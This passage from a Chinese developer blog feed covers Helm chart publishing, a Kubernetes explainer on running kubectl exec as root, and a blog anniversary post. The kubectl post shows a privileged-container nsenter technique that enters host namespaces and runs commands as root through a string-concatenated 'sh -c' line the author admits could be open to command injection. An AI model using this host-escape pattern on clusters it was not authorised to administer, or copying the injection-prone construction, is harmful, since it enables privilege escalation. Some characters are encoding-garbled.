style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>helm lint --strict </span></span></code></pre></div><p>没问题后,那就开始打包咯~</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>helm package . </span></span><span style="display:flex;"><span>mv forklift-0.1.0.tgz ./charts <span style="color:#8b949e;font-style:italic"># 移动到 charts 目录下,整齐一些</span> </span></span></code></pre></div><p>最后更新我们的 <code>index.yaml</code> 文件:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>helm repo index . </span></span></code></pre></div><p>至此,你就可以 commit + push 代码了,同时要给对应的 GitHub 仓库开启 GitHub Page。(说实话我不觉得把打包后的 <code>.tgz</code> 文件推上去是个好主意,或许有更好的方法?)</p> <p>我们需要留意 GitHub Page 中对应指向仓库 <code>Chart.yaml</code> 文件的路径。我的这个 <code>forklift</code> 项目路径是放在 <code>./charts</code> 目录下,同时我的 GitHub ID 是 <code>wuhan005</code>,所以当有人要拉取我的 Chart 时填写的 URL 是:</p> <pre tabindex="0"><code class="language-url" data-lang="url">https://wuhan005.github.io/forklift/charts/ </code></pre><h2 id="todos-但愿不咕">TODOs (但愿不咕)</h2> <p>目前我使用 ArgoCD å°† forklift 部署到了我自己的集群中,看起来还是挺稳的。以下是之后的一些 TODOs:</p> <ul> <li>配置文件除了支持按命名空间指定外,还需要支持直接指定镜像名。</li> <li>Controller çš„ HTTP 服务是否需要加个凭证鉴权?现在是集群里的其它 Pod 都能通过 Service 访问。</li> <li>Controller 所在的节点上其实没必要再部署一个 Daemonset 自己跟自己玩,纯属浪费。</li> <li>目前配置文件是做成 ConfigMap 挂载进来的,是否考虑挂载文件卷进来,做到像 Prometheus 一样修改文件后请求指定的接口动态读取并刷新配置。</li> </ul> <p>目前能想到的就是这些,如果你在使用过程中发现了什么 bug,也欢迎提 issue 反馈~ 这是我对于 K8s 镜像预热的一个很不成熟的想法,我也不知道它是否有瓶颈,目前还有待生产环境的考验。还请各位多多指点。</p>呜哇!你这 kubectl exec 怎么不能指定用户呀?https://github.red/kubectl-exec-as-root/Wed, 09 Nov 2022 02:07:28 +0800https://github.red/kubectl-exec-as-root/<h2 id="发生什么事了">发生什么事了?</h2> <p>最近在写集群相关的 Side Project,主要是使用 Kubernetes çš„ Go SDK 进行开发。其中有个功能需要在 Pod 启动完成后在 Pod 的容器中执行命令。</p> <p>但在使用 Go SDK 执行命令这里就有一个坑。你会发现在<code>k8sClient.CoreV1().Pod(namespace)</code> 下居然没有形如 <code>Exec()</code> 这样的方法可以使用,GitHub Copilot 也直接在这里傻掉了不知道如何补全。 通过翻阅 <code>kubectl</code> 源码中关于 <code>exec</code> 子命令实现,我找到了这个:<a href="https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/kubectl/pkg/cmd/exec/exec.go#L353-L366">src/k8s.io/kubectl/pkg/cmd/exec/exec.go#L353-L366</a></p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// TODO: consider abstracting into a client invocation or client helper</span> </span></span><span style="display:flex;"><span>req <span style="color:#ff7b72;font-weight:bold">:=</span> restClient.<span style="color:#d2a8ff;font-weight:bold">Post</span>(). </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Resource</span>(<span style="color:#a5d6ff">&#34;pods&#34;</span>). </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Name</span>(pod.Name). </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Namespace</span>(pod.Namespace). </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">SubResource</span>(<span style="color:#a5d6ff">&#34;exec&#34;</span>) </span></span><span style="display:flex;"><span>req.<span style="color:#d2a8ff;font-weight:bold">VersionedParams</span>(<span style="color:#ff7b72;font-weight:bold">&amp;</span>corev1.PodExecOptions{ </span></span><span style="display:flex;"><span> Container: containerName, </span></span><span style="display:flex;"><span> Command: p.Command, </span></span><span style="display:flex;"><span> Stdin: p.Stdin, </span></span><span style="display:flex;"><span> Stdout: p.Out <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span>, </span></span><span style="display:flex;"><span> Stderr: p.ErrOut <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span>, </span></span><span style="display:flex;"><span> TTY: t.Raw, </span></span><span style="display:flex;"><span>}, scheme.ParameterCodec) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">return</span> p.Executor.<span style="color:#d2a8ff;font-weight:bold">Execute</span>(<span style="color:#a5d6ff">&#34;POST&#34;</span>, req.<span style="color:#d2a8ff;font-weight:bold">URL</span>(), p.Config, p.In, p.Out, p.ErrOut, t.Raw, sizeQueue) </span></span></code></pre></div><p>我们可以看到这里其实是直接构造 HTTP 请求对着 Kubernetes APIServer 进行请求,Go SDK 里并没有封装。甚至在上方的注释中还留着一则<strong>七年前的“贴心” TODO</strong>,说要考虑将这块抽象成一个 SDK 里的方法。转眼间七年过去了,这坑还是没填。😅 需要注意的是 kubectl 的实现最后是用了它自己的 <code>Execute</code> 方法发送了个 POST 请求,但这里其实是需要流式的去读取命令执行所返回的结果。最后应该使用 <code>Stream()</code>,可以参照我的最终代码:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>req <span style="color:#ff7b72;font-weight:bold">:=</span> e.k8sClient.<span style="color:#d2a8ff;font-weight:bold">RESTClient</span>().<span style="color:#d2a8ff;font-weight:bold">Post</span>(). </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Resource</span>(<span style="color:#a5d6ff">&#34;pods&#34;</span>). </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Name</span>(pod.Name). </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Namespace</span>(pod.Namespace). </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">SubResource</span>(<span style="color:#a5d6ff">&#34;exec&#34;</span>) </span></span><span style="display:flex;"><span>req.<span style="color:#d2a8ff;font-weight:bold">VersionedParams</span>(<span style="color:#ff7b72;font-weight:bold">&amp;</span>coreV1.PodExecOptions{ </span></span><span style="display:flex;"><span> Stdout: <span style="color:#79c0ff">true</span>, </span></span><span style="display:flex;"><span> Stderr: <span style="color:#79c0ff">true</span>, </span></span><span style="display:flex;"><span> Container: containerName, </span></span><span style="display:flex;"><span> Command: command, </span></span><span style="display:flex;"><span> TTY: <span style="color:#79c0ff">true</span>, </span></span><span style="display:flex;"><span>}, scheme.ParameterCodec) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Send the request.</span> </span></span><span style="display:flex;"><span>respBody, err <span style="color:#ff7b72;font-weight:bold">:=</span> e.k8sClient.<span style="color:#d2a8ff;font-weight:bold">RESTClient</span>().<span style="color:#d2a8ff;font-weight:bold">Post</span>().<span style="color:#d2a8ff;font-weight:bold">AbsPath</span>(req.<span style="color:#d2a8ff;font-weight:bold">URL</span>().Path).<span style="color:#d2a8ff;font-weight:bold">Stream</span>(ctx) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;post request&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span><span style="color:#ff7b72">defer</span> <span style="color:#ff7b72">func</span>() { _ = respBody.<span style="color:#d2a8ff;font-weight:bold">Close</span>() }() </span></span></code></pre></div><p>然后,我又遇到问题了 —— 有些镜像启动的容器咋 kubectl exec 进去的用户不是 root?同时我也无法使用 <code>su</code> 切换用户。拿着低权用户的 shell 有很多操作都做不了,这该咋办呢?</p> <p>我便开始在网上搜索 <code>kubectl exec as root</code>,在看了不少官方的 issue 建议和 Stackoverflow 上的奇技淫巧后,我梳理考究了下这个问题的来龙去脉,写下此文来讲述下这个长达六年还未实现的需求背后的故事。</p> <h2 id="名词辨析">名词辨析</h2> <p>前方预警!在后文中你可能会遇见 <code>containerd</code>、<code>runc</code>、<code>OCI</code>、<code>CRI</code>、<code>Docker</code> 等等这些名词,在正式开始前我们不妨先梳理下这些名词,至少先弄清楚它们之间的关系。</p> <p>这里先放一张图,各位可以简单瞄一眼后继续往下看。</p> <p><img src="https://github.red/images/2022/11/container-family.png" alt=""></p> <h3 id="是造物者之无尽藏也">是造物者之无尽藏也</h3> <p>还记得最开始我在大一上学期的时候接触了 Docker,当时给我印象很深的一句话是:“Docker 这玩意就是新瓶装旧酒。” 所谓容器,只不过是封装了 Linux 系统内核提供的功能去实现资源的隔离。本质还是 Linux Container çš„ <code>cgroups</code>、<code>namespaces</code>。</p> <ul> <li><code>cgroups</code>:用于 CPU、内存、磁盘和网络 IO 物理资源的隔离</li> <li><code>namespaces</code>:用于 PID、IPC、Network 等系统资源的隔离 以上这些都是 Linux 内核中提供的功能,我们可以看作“是神赐予的”。 我这里想到了苏轼《赤壁赋》里的这句:“是造物者之无尽藏也,而吾与子之所共适。”😋</li> </ul> <h3 id="runc">runc</h3> <p>Docker 开发并使用了一个名为 <code>runc</code> 的程序,用于调用这些神赐予的功能,来创建一个个容器。<code>runc</code> 的功能十分简单,它本身是一个命令行程序,也就只能用来做创建容器(<code>runc create</code>)、开启容器(<code>runc start</code>)、列出容器(<code>runc list</code>)、删除容器(<code>runc delete</code>)这些基础功能。 <code>runc</code> 背后的原理是使用 C 语言编写的代码调用系统的 <code>namespaces</code> å’Œ <code>cgroups</code> 来创建容器,然后在 Go 层面使用 CGO 调用 C 语言,封装成了 <a href="https://github.com/opencontainers/runc/tree/main/libcontainer"><code>libcontainer</code></a> 这么一个库。 <code>runc</code> 遵循 OCI(Open Container Initiative)规范中的 Runtime-Spec。这个 OCI 是 Docker 当年牵头制定的,分为 Runtime-Spec å’Œ Image-Spec,分别制定了运行时和镜像的规范。 <strong>我们将 <code>runc</code> 这种只能启停容器的十分底层的容器运行时叫做低级容器运行时(Low-Level Container Runtime)</strong>。这么称呼是为了和后面提到的 containerd 这种**高级容器运行时(High-Level Container Runtime)**区分开来。</p> <h3 id="containerd">containerd</h3> <p>é‚£ <code>containerd</code> 又是啥呢?<code>containerd</code> 基于 <code>runc</code> 的实现了启停管理容器的能力,同时自身还支持了对容器镜像的管理,就如我们用的 <code>docker pull</code> <code>docker push</code> 推拉镜像,导出镜像等功能。它这里关于镜像的功能也是遵循着上面提到的 OCI Image-Spec 的规范。</p> <p>而跟我们日常打交道的 Docker,准确的说是 Docker Engine,其又是在 containerd 上简单套了层壳,我们的拉取镜像、启停容器,其实最后还是落到了 containerd 身上去执行。像 <code>containerd</code> 这样的高级运行时还有 <code>CRI-O</code>。</p> <h3 id="震惊">震惊!</h3> <p>好的,如果到这里你还没晕的话,那我们可以插个题外话来讲讲前年 Kubernetes 那条被国内公众号疯狂标题党的新闻了: 前年 Kubernetes 官方宣布将在未来发布的版本中弃用 <code>dockershim</code>,直接在源码中删掉 <code>dockershim</code> 的部分。官方的解释可以看<a href="https://kubernetes.io/zh-cn/blog/2020/12/02/dockershim-faq/">这篇文章</a>。</p> <p>这事传到国内公众号就变成:“Kubernetes 宣布不再支持 Docker 运行时” 这种标题党文章。我们上面聊到了 Docker Engine -&gt; containerd -&gt; runc 这层关系,而 <code>dockershim</code> 则是用于处理 Kubernetes -&gt; Docker Engine 这层关系的。</p> <p>由于当年 Docker 刚出来一家独大,野蛮生长的过程中做了很多不是那么规范的事情,Kubernetes 之后才制定了<strong>容器运行时接口 CRI(Container Runtime Interface)</strong> 规范(注意跟上面那个 OCI 是两个东西)来约束容器运行时的行为。但 Docker 这东西毕竟先出来并不遵守 CRI,它出来混的时候还没你 CRI 甚至 Kubernetes 什么事呢! 后面 Kubernetes 想遵守 CRI 规范整合接入各种运行时的时候,就不得不为 Docker Engine 当年的所作所为“买单”,也就是写了 <code>dockershim</code> 这么个东西作为中间层让 Docker Engine 遵循 CRI 规范进行接入。<code>dockershim</code> 这坨“屎山”越来越繁重,后面 Kubernetes 直接开摆不想干了,直接把 Docker Engine 去掉吧,我们直接拥抱遵守 CRI 规范的 <code>containerd</code>!</p> <p>整个关系也就从:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-txt" data-lang="txt"><span style="display:flex;"><span>Kubernetes -&gt; Docker Engine -&gt; containerd -&gt; runc </span></span></code></pre></div><p>变成了</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-txt" data-lang="txt"><span style="display:flex;"><span>Kubernetes -&gt; containerd -&gt; runc </span></span></code></pre></div><p>确实也没什么问题,你 Docker Engine 不也是 <code>containerd</code> 套壳嘛,这也就是为什么我们现在 <code>docker build</code> 的镜像仍可以在 Kubernetes 正常使用的原因,因为这些都是遵守 <code>OCI Image-Spec</code> 的。唯一的不同只不过是你切到集群节点上,用 <code>docker ps</code> 看不到容器了,而是要用 <code>containerd</code> çš„ CLI 命令 <code>ctr --namespace k8s.io containers ls</code> 去查看容器。</p> <h2 id="问题出在谁身上呢">问题出在谁身上呢?</h2> <p>理清了上面这些概念后,我们就可以来调查究竟是谁的问题了。还记得我们的问题是什么吗?<code>kubectl exec</code> 怎么不支持指定用户(比如 root)执行命令? 首先,看最终的低层容器运行时 <code>runc</code> 的源码:<a href="https://github.com/opencontainers/runc/blob/main/exec.go#L48-L51">opencontainers/runc exec.go#L48-L51</a>,命令行参数里居然是支持指定 UID å’Œ GID 的!该参数后面会被传入到 <code>libcontainer</code>,在 cgroups 中 <a href="https://github.com/opencontainers/runc/blob/main/libcontainer/specconv/spec_linux.go#L456-L462">opencontainers/runc libcontainer/specconv/spec_linux.go#L456-L462</a> 最后使用 <code>os.Chown</code> 赋予指定用户操作的权限。</p> <p>那再往上追到 <code>containerd</code>,找到 <code>containerd</code> 中 <code>ctr task exec</code> 的源码部分,发现使用了 OCI 规范中定义的结构体 <a href="https://github.com/opencontainers/runtime-spec/blob/main/specs-go/config.go#L43"><code>Process</code></a>,该结构体定义了在容器中启动进程需要的信息,其中就有 <code>User</code> 字段用于指定用户!</p> <p>é‚£&hellip;&hellip; 既然 OCI 规范里都支持了,再往上追就只有一个了:Kubernetes 定义的 CRI 规范。在 <a href="https://github.com/kubernetes/cri-api/blob/c75ef5b/pkg/apis/runtime/v1/api.proto#L1158-L1177">kubernetes/cri-api</a> 中我们找到了 CRI 规范的 Protobuf 定义文件,其中的 <code>ExecRequest</code> 确实不支持指定用户&hellip;&hellip; 同时我还发现有个老哥试图提 PR <a href="https://github.com/kubernetes/kubernetes/pull/59092">#59092</a> 让 CRI 规范支持这个功能,他也是在 Proto 文件里加了这么一个字段。在下面的评论中我们也发现这居然是 Kubernetes TOP3 的期望功能。可惜这个 PR 后面不明不白地就被关了。</p> <p>在 <code>containerd</code> 中我也看到了有人提出了这个问题 <a href="https://github.com/containerd/containerd/issues/6662">#6662</a>,<code>containerd</code> 的人也表示很无奈,想让 <code>kubectl exec</code> 支持指定用户,那就只能让上层改 CRI 规范,然后它们下层做适配,但是这事现在一直被搁置着,也没个人来推。</p> <p>一直&hellip;&hellip; 搁置了六年。</p> <h2 id="代码还是得写的该如何解决呢">代码还是得写的,该如何解决呢?</h2> <p>日子总是要过的,代码还是得写的,真的就没有办法了吗? 其实不然,在 issue <a href="https://github.com/kubernetes/kubernetes/issues/30656">#30656</a> 里有人提出了一种很蠢的办法: 安装一个 <code>kubectl</code> 插件,使用 <code>kubectl ssh</code> 连上对应的节点宿主机,然后找到容器直接执行命令。这真的真的是太蠢了。</p> <p>我在这个 issue 下找到了这么一个项目 <a href="https://github.com/ssup2/kpexec">ssup2/kpexec</a>,借鉴其中用到的方法相对优雅的解决了这个问题!这里放一下 kpexec 项目的架构图用于方便说明:</p> <p><img src="https://github.red/images/2022/11/kpexec_Operation.png" alt=""></p> <p>我的做法其实比它更简单。我们上面提到了,容器系统资源隔离本质上还是使用了内核中的 <code>namespaces</code>,所有的虚拟化都是在操作系统层面完成的。 而系统中有 <code>nsenter</code> 这个命令,可以帮助我们进入到对应容器的 <code>namespace</code> 命名空间中,在该命名空间中执行命令,默认的用户权限就是 root! 假如我们要在部署于 A 节点的 Pod 的容器 B 下以 root 权限执行命令,步骤如下:</p> <ol> <li>在 A 节点下创建一个特权容器,即获得了宿主机节点的操作权限。使用 nsenter 进入 PID = 1 的命名空间执行命令,也就相当于直接在宿主机上执行命令。</li> <li>在宿主机上调用 crictl inspect 命令查看容器 B çš„ PID。</li> <li>再次在宿主机上使用 nsenter 进入容器 B 的命名空间,以 root 用户执行命令。</li> </ol> <p>我的最终代码如下:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Get the container CRI information by execute the `crictl` command in node, then execute as root with `nsenter`.</span> </span></span><span style="display:flex;"><span> execCommand <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">string</span>{ </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;sh&#34;</span>, <span style="color:#a5d6ff">&#34;-c&#34;</span>, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;nsenter -t 1 -m -u -n -i crictl inspect &#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> hostContainerName <span style="color:#ff7b72;font-weight:bold">+</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34; | jq -r .info.pid | xargs -I {} nsenter -t {} -m -u -n -i sh -c &#39;&#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> strings.<span style="color:#d2a8ff;font-weight:bold">Join</span>(command, <span style="color:#a5d6ff">&#34; &#34;</span>) <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;&#39; || true&#34;</span>, </span></span><span style="display:flex;"><span> } </span></span></code></pre></div><p>满足 CRI 规范的高级运行时均可以使用 <code>crictl</code> 来进行操作。这样我们就不用再傻傻去判断 Docker Engine、containerd、CRI-O 然后再傻傻调各自的 CLI 了。这里使用 <code>crictl inspect</code> 加容器名称查看容器信息,使用 <code>jq</code> 提取出返回 JSON 中记录的容器 PID。最后特权容器进入该进程 PID 所在的 namespace 执行命令。最后还加个 <code>|| true</code> 来确保最后执行的命令一定是正常退出的。 (不要在这里跟我 ky 什么命令注入漏洞啥的,<code>command</code> 是从可信的来源传入的,前面已经做了权限检查)</p> <p>至于一些细节,比如用 NodeSelector 去将特权容器部署到与执行命令相同的 Node 上,怎么获取 <code>pod.Status.ContainerStatuses</code> 中的 <code>HostContainerName</code> 这些,就不再赘述了。大家自己动手写写就都知道了。</p> <h2 id="最后说几句">最后说几句</h2> <p>可能本文前面的篇幅有点长了,最后的 <code>nsenter</code> 反而没有过多着墨。不过确实梳理过这些名词后,我对于以 Docker 为起点的容器这套东西的理解更加透彻了些。 今天也抽时间看了些 Kubernetes 攻防相关的资料,感觉容器逃逸像 runc CVE-2019-5736 这个洞,本质上还是相关的运行时软件在操作不可信的容器环境时,行为上过于“侵入”或者“依赖”容器内的不可信环境从而出了问题。runc 这个是把自己传到了危险重重的容器里,以前的 CVE-2019-14271 <code>docker cp</code> 容器逃逸,是因为使用了容器内的 so 库。容器内的进程本质上只是一个受限的普通 Linux 进程,其对宿主机是完全透明的,我感觉这也使得它与宿主机的界限变得模糊,有种很容易就能被突破的感觉。</p> <p>大概是一年前,我对 Kubernetes 还是持有一种较为厌恶的情绪的,啥也不懂的我也学着大家当乐子人玩 YAML 工程师的梗。今年三月的 D^3CTF,我用 Kubernetes Go SDK 写了个动态开启靶机的程序。在那之后我对它的印象有了很大的改观。不愧是生产级别的容器调度程序,我想删掉一个 Pod,它就是能给我删掉,不像 Docker 有时候 <code>--force</code> 强制了但是 Docker Engine 会迷之卡顿然后没删掉。Kubernetes 能给我带来一种安心的感觉。</p> <p>推荐阅读:</p> <ul> <li><a href="https://mp.weixin.qq.com/s/sfOXxBoppV6QZSpblMsMJQ">Docker、Containerd、RunC分别是什么</a>:名词辨析比我上面写的更加详细。</li> <li><a href="https://fankangbest.github.io/2017/11/24/containerd-containerd-shim%E5%92%8Crunc%E7%9A%84%E4%BE%9D%E5%AD%98%E5%85%B3%E7%B3%BB/">containerd-containerd-shimå’Œrunc的依存关系</a>:从源码层面分析了三者的依存关系,很有意思。</li> <li><a href="https://github.com/neargle/my-re0-k8s-security">从零开始的Kubernetes攻防</a>:除了容器,基于容器的 Serverless 服务也是我很感兴趣的一个方向,我从这里学到很多有趣的攻击方法。</li> </ul>这下云原生了 · Light Cube 七周年https://github.red/lightcube-7th/Tue, 04 Oct 2022 15:43:06 +0800https://github.red/lightcube-7th/<blockquote> <p>文章头图来自 @tototo <a href="https://www.pixiv.net/artworks/100132847" title="PixivID 100132847">PixivID: 100132847</a></p> </blockquote> <p>又是一年国庆假期,这个小站也走到了第七年。 每年国庆假期写这篇文章的时候,我都会畅想下明年的这个时候,自己会以什么样的身份,在什么样的地方,写下对这个小站过去一年的总结。但去年大四的我对一年后的自己会身在何处一无所知。也许是因为当时面临着太多的选择,太多突然发生的事情让我十分迷茫。</p> <p>而当过去的一切尘埃落定后,我想回应当时的自己:你在大学顺利毕业后离开了学校,在离学校挺远的地方租了间还算舒适的公寓,工作日往返于 15 分钟通勤时间的两点一线,周末在家看番、补觉或者写点小项目。精疲力尽的你开始去刻意地拖延或者回避一些需要额外投入精力的事情,你知道这并不是一件好事,但是你确实时常感到非常累。每个周五的夜晚是你最快乐的时候,有时你在下班的路上会开心地跳起来,有时心情不好会去公司附近的酒吧喝上几杯。而每个工作日的深夜是你最能全身心投入的时候,你会把自己关在房间里,大声外放着音乐加班写着方案与代码。</p> <p>比较可惜的是,在过去的一年里,你只写了四篇文章。而两年前的你,一个月至少一篇。我知道你心里其实还没有放弃,你挣扎着想去研究一些新奇独特的“好活”,再将你的“发明创造”以及感悟心得浓缩成一篇文章 —— 正如你一直以来的那样。但是你发现好像很难找到能让自己提得起兴趣的东西了,亦或是说你的表现欲没有以前那么强烈了,又或是说你不太能坚持完整地做完一件事情了。</p> <p>额&hellip;&hellip; 好像话题开始转向对自己沉重的自责了,就此打住。还是来看看过去的一年里这个站发生的变化吧。</p> <h2 id="这下云原生了">这下云原生了</h2> <p>由于今年我从学校毕业了,之后也就无法再享受学生价购买阿里云的 ECS 服务器,原有的学生机将于今年 10 月到期。这台 ECS 学生机上跑着的正是这个博客站点,因此不可避免的需要进行迁移。在这之后的几个月到一年的时间内,我腾讯云、华为云等账号上的学生机也将到期无法按学生价续费,上面的服务都需要进行迁移。 而比较尴尬的是,这些机器在我当初购买后,就十分奢侈的只在上面跑了一到两个 Web 服务,每台机器大约 80% 的资源是被白白浪费掉了的。因此,在咨询了一些朋友的意见之后,我选择在阿里云上 ACK 开个 Kubernetes 集群,将博客以及学生机上的其它服务都迁移至集群中。集群的节点使用阿里云的竞价实例,成本不会比之前开好几台学生机高太多。且目前集群里只有一台 2C8G 的竞价实例节点,它上面承载了我之前所有需要用到的服务!</p> <h2 id="解锁一个又一个船舵新技能">解锁一个又一个船舵🕸新技能</h2> <p>因为是自己第一次配置集群,因此也踩了不少坑。 之前自己完全没有去学过 Kubernetes 相关的内容,一开始是去年年末公司内部开始向云原生迁移,因此我在电脑上装了个号称 Kubernetes IDE çš„ Lens,用来执行删除 Pod 触发更新,看看 Pod 的日志这些简单操作。在看到我删除的 Pod 居然又会自动新建一个启起来觉得十分神奇,这才了解到背后有个叫 Deployment 的东西定义了它。 公司当时使用的是 AWS EKS 的集群服务,我偶然间在控制面板看到了一个需要 CNAME 指向的域名,这才明白我们是如何通过自己的域名访问到集群内的服务,同时也接触到了 Service å’Œ Ingress。 后面自己写得一些服务需要部署到集群上,我也开始学着改运维写好的 ArgoCD YAML 文件,比如加个环境变量,修改下 Replica 设置副本数量。 再后面我看运维能精准的将 Pod 部署到我指定配置或者架构的机器上,以及在 Lens 里看到关于 Pod 调度失败的报错,我也就大概能从字面含义上领悟到 Annotations、Labels、Conditions、Tolerations 这些东西的作用。 今年年初协会办 D^3CTF 时,需要一个在集群内动态开启靶机的服务,当时我一晚上撸了个 <a href="https://github.com/wuhan005/oblivion" title="oblivion">oblivion</a> 。它的原理也只是简单地调用 Kubernetes API,我也是从那之后了解到了 Service Account。 再往后我想让 Cardinal Pro 比赛平台支持 Kubernetes 开启题目靶机,因此去粗略翻阅了 <a href="https://github.com/google/kctf" title="Google kCTF">Google kCTF</a> 项目的源码,惊讶地发现他们怎么将 CTF 比赛中的赛题(Challenge)作为了集群中的一种资源,YAML 里居然可以写 <code>kind: Challenge</code>!这才知道原来 Kubernetes 可以自定义资源。 在搭建的自己的集群时,我为了能节省机器磁盘费用,开了阿里云的 NAS,挂载到集群里的时候,了解到了 StorageClass。 在自己的集群中搭建 WordPress 与 uptime-kuma 时,开始学着偏向使用 Helm 去部署这些服务。而 uptime-kuma 的第三方 Chart 包文档写的很简略,不得已之下我只能去翻看这个包 templates 下的 YAML 模板文件,一看才发现这不就是 Go 原生的那个反人类模板语言嘛,我可太熟悉了。直接通过看模板找到了我要的配置项该怎么写。</p> <p>可以说,我对于 Kubernetes 的认知全都来自于自己实践中见过的情况。我目前也仅仅只满足于现在入门的能用就好。我并没有比较深入的去了解 Kubernetes 中一些有趣的细节,所以也没有单独写一篇文章来记录我集群迁移的过程。可能未来的某天我读到一本讲 Kubernetes 的书,将以上这些先入为主的概念全都串起来,我可能也就豁然开朗了,在那之后可能会洋洋洒洒写个几千字来讨论下。我目前对 Kubernetes 的态度是,这家伙就是个十分偏实战性的“工具”,且它的的确确也就只是个用来做容器编排的工具,如果有人拿着一堆 Kubernetes 的偏门八股来恶心人的话,那我劝他还是趁早死死算了。</p> <h2 id="这下-yaml-工程师了">这下 YAML 工程师了</h2> <p>回到博客这个服务上来,我使用的是 bitnami çš„ WordPress Helm Chart。其背后的 WordPress Docker 镜像是直接安装的 PHP 8 的版本。众所周知 PHP 8 废除了以前很多的内置函数,亲测我目前使用的 WordPress 博客主题是无法在 PHP 8 环境下正常运行的。因此我不得二次魔改 bitnami çš„ WordPress 基础镜像,将其中安装的 PHP 版本改为 7.4,再将新构建好的镜像推送至我的阿里云容器镜像服务中,并配置 Chart 使用我指定的镜像启动。同时为了保证我自己打包的镜像中 WordPress 的版本始终是最新的,我在 GitHub Actions 上加了个定时构建镜像的任务。 值得一提的是,bitnami WordPress Chart 自带了个开启 Memcached 的选项。那我自然也不客气,直接几行 YAML 就让它把 Memcached 给起好了,WordPress 后台装了个基于 Memcached 的缓存插件,虽说没感觉到加载速度有变多块,但是聊胜于无嘛嘻嘻。</p> <h2 id="最后随便聊点">最后随便聊点</h2> <p>这一年来本站最大的改变应该就是迁移到集群了,除此之外 Google Analytics 统计指标,七牛云 CDN 账单相较去年都保持稳定。友链的话很可惜今年一年都没有增长,不过我的 Twitter å’Œ GitHub 粉丝倒是涨得挺快的,我有意将我的 Twitter 主页链接修改成 GitHub 个人页的地址而本博客的地址,目的是想筛选出那些真正愿意了解我的人,他们会从 Twitter 找到 GitHub,再链接到博客,最后再到 QQ。很感谢能遇到这些小伙伴们。</p> <p>再说说我自己,最近两三个月其实自己一直有在追「Lycoris Recoil」<span class="heimu" onclick="()=>{}">我超!蒜批!</span>,每周六的晚上会随便写点 Side Project 的代码,等到零点的时候准时上床带耳机看番。有点像回到了初三追刀剑第二季的时候,那时的我也是刷着题到十点半,然后准时打开乐视 App 看番,可能这也是为啥我初三那段时间成绩突飞猛进的原因吧,因为心里有个盼头,所以做起事情来会格外的认真哈哈哈。 但是&hellip;&hellip; 为啥每次我每次 Twitter 点赞关于石蒜的内容就会掉粉啊😅 除了追番以外,我还有在追邓紫棋的新专辑,之前是每周一和周四晚上零点放出一首新歌。而有的时候我到零点还没下班,下班的路上发现新歌发了,便赶紧带上耳机边走边听。不得不说 AirPods Pro 的空间音频真的棒!为了支持解解,我还专门买了张实体专辑。😘</p> <p>嘛,大概就这些了。晚上还得像去年一样继续去改“某个大东西”。😉</p> <p>七周年生日快乐!🎂 明年再见!</p>关于我大学这四年的碎碎念https://github.red/bye-hdu/Sun, 03 Jul 2022 01:47:16 +0800https://github.red/bye-hdu/<blockquote> <p>文中所有提到的人名均使用代称或 ID。不过我想你应该都知道他们是谁。</p> </blockquote> <p>去年六月份看到 @Li4n0 